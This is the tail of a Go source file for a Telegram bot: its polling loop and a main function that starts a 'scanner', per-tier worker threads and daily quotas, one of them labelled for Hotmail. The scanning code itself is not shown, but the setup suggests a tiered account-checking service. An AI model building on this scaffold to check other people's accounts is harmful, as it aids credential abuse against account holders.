			u, ok := upd.(map[string]any)
			if !ok { continue }
			if idf, ok := u["update_id"].(float64); ok {
				n := int(idf) + 1
				if n > offset { offset = n }
			}
			go func(upd map[string]any) {
				defer func() { recover() }()
				if m, ok := upd["message"].(map[string]any); ok { handleMessage(m) } else if c, ok := upd["callback_query"].(map[string]any); ok { handleCallback(c) }
			}(u)
		}
	}
}
func main() {
	runtime.GOMAXPROCS(runtime.NumCPU())
	rand.Seed(time.Now().UnixNano())
	initScanner()
	dbLoad()
	me := apiCall("getMe", nil, false)
	if me == nil { fmt.Println("[!] cannot reach Bot API."); os.Exit(1) }
	if res, ok := me["result"].(map[string]any); ok {
		if u, ok := res["username"].(string); ok { fmt.Printf("[+] logged in as @%s\n", u) }
	}
	verifyEmojiIDs()

	// graceful shutdown
	sigCh := make(chan os.Signal, 1)
	signal.Notify(sigCh, os.Interrupt, syscall.SIGTERM)
	go func() { <-sigCh; dbSaveNow(); os.Exit(0) }()

	fmt.Printf("[+] admins: %d\n", len(adminIDs))
	fmt.Printf("[+] log chat: %d\n", LogChatID)
	fmt.Printf("[+] workers: %d · jobs: %d\n", MaxGlobalWorkers, MaxConcurrentJobs)
	fmt.Printf("[+] threads admin/vip/user: %d/%d/%d\n", MaxThreadsAdmin, MaxThreadsVIP, MaxThreadsUser)
	fmt.Printf("[+] quotas sm:%d-%d hm:%d\n", UserDailyMin, UserDailyMax, UserHotmailDaily)
	fmt.Printf("[+] worker timeouts sm/hm/dh/ph/ck: %s/%s/%s/%s/%s\n",
		WorkerTimeoutSM, WorkerTimeoutHM, WorkerTimeoutDH, WorkerTimeoutPH, WorkerTimeoutCK)
	fmt.Printf("[+] testing mode: %v\n", isTestingMode())
	go memberCacheCleanup()
	go dbFlushLoop()
	pollLoop()
}